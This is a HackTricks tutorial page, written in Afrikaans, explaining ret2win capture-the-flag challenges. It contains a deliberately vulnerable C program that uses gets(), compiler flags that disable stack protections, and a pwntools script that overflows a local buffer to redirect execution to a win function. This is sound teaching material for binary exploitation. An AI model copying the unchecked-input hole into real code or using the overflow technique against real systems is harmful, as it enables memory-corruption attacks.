Ret2win

Reading time: 6 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Ret2win uitdagings is 'n gewilde kategorie in Capture The Flag (CTF) kompetisies, veral in take wat binarie uitbuiting behels. Die doel is om 'n kwesbaarheid in 'n gegewe binêre te benut om 'n spesifieke, nie-aangeroep funksie binne die binêre uit te voer, wat dikwels iets soos win, flag, ens. genoem word. Hierdie funksie, wanneer dit uitgevoer word, druk gewoonlik 'n vlag of 'n suksesboodskap uit. Die uitdaging behels tipies die oorskrywing van die terugadres op die stapel om die uitvoeringsvloei na die gewenste funksie te lei. Hier is 'n meer gedetailleerde verduideliking met voorbeelde:

C Voorbeeld

Oorweeg 'n eenvoudige C-program met 'n kwesbaarheid en 'n win funksie wat ons van plan is om aan te roep:

c
#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Om hierdie program te kompileer sonder stapelbeskerming en met ASLR gedeaktiveer, kan jy die volgende opdrag gebruik:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Compile die program as 'n 32-bit binêre (dit is opsioneel maar algemeen in CTF-uitdagings).
  • -fno-stack-protector: Deaktiveer beskerming teen stapel oorloop.
  • -z execstack: Laat uitvoering van kode op die stapel toe.
  • -no-pie: Deaktiveer Posisie Onafhanklike Uitvoerbare om te verseker dat die adres van die win funksie nie verander nie.
  • -o vulnerable: Noem die uitvoer lêer vulnerable.

Python Exploit met Pwntools

Vir die exploit, sal ons pwntools gebruik, 'n kragtige CTF-raamwerk vir die skryf van exploits. Die exploit-skrip sal 'n payload skep om die buffer oor te loop en die terugkeeradres met die adres van die win funksie te oorskryf.

python
from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Om die adres van die win funksie te vind, kan jy gdb, objdump, of enige ander hulpmiddel gebruik wat jou toelaat om binêre lêers te ondersoek. Byvoorbeeld, met objdump, kan jy gebruik:

sh
objdump -d vulnerable | grep win

Hierdie opdrag sal jou die assembly van die win funksie wys, insluitend sy beginadres.

Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer dit deur die vulnerable_function verwerk word, die buffer oorloop en die terugkeeradres op die stapel met die adres van win oorskryf. Wanneer vulnerable_function terugkeer, in plaas daarvan om na main terug te keer of te verlaat, spring dit na win, en die boodskap word gedruk.

Beskermings

  • PIE moet gedeaktiveer word sodat die adres betroubaar is oor uitvoerings of die adres waar die funksie gestoor sal word nie altyd dieselfde sal wees nie en jy 'n lek nodig sal hê om uit te vind waar die win funksie gelaai is. In sommige gevalle, wanneer die funksie wat die oorloop veroorsaak read of soortgelyk is, kan jy 'n Deeltelike Oorskrywing van 1 of 2 bytes doen om die terugkeeradres na die win funksie te verander. Vanweë hoe ASLR werk, is die laaste drie hex nibble nie gerandomiseer nie, so daar is 'n 1/16 kans (1 nibble) om die korrekte terugkeeradres te kry.
  • Stack Canaries moet ook gedeaktiveer word of die gecompromitteerde EIP terugkeeradres sal nooit gevolg word nie.

Ander voorbeelde & Verwysings

ARM64 Voorbeeld

Ret2win - arm64

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks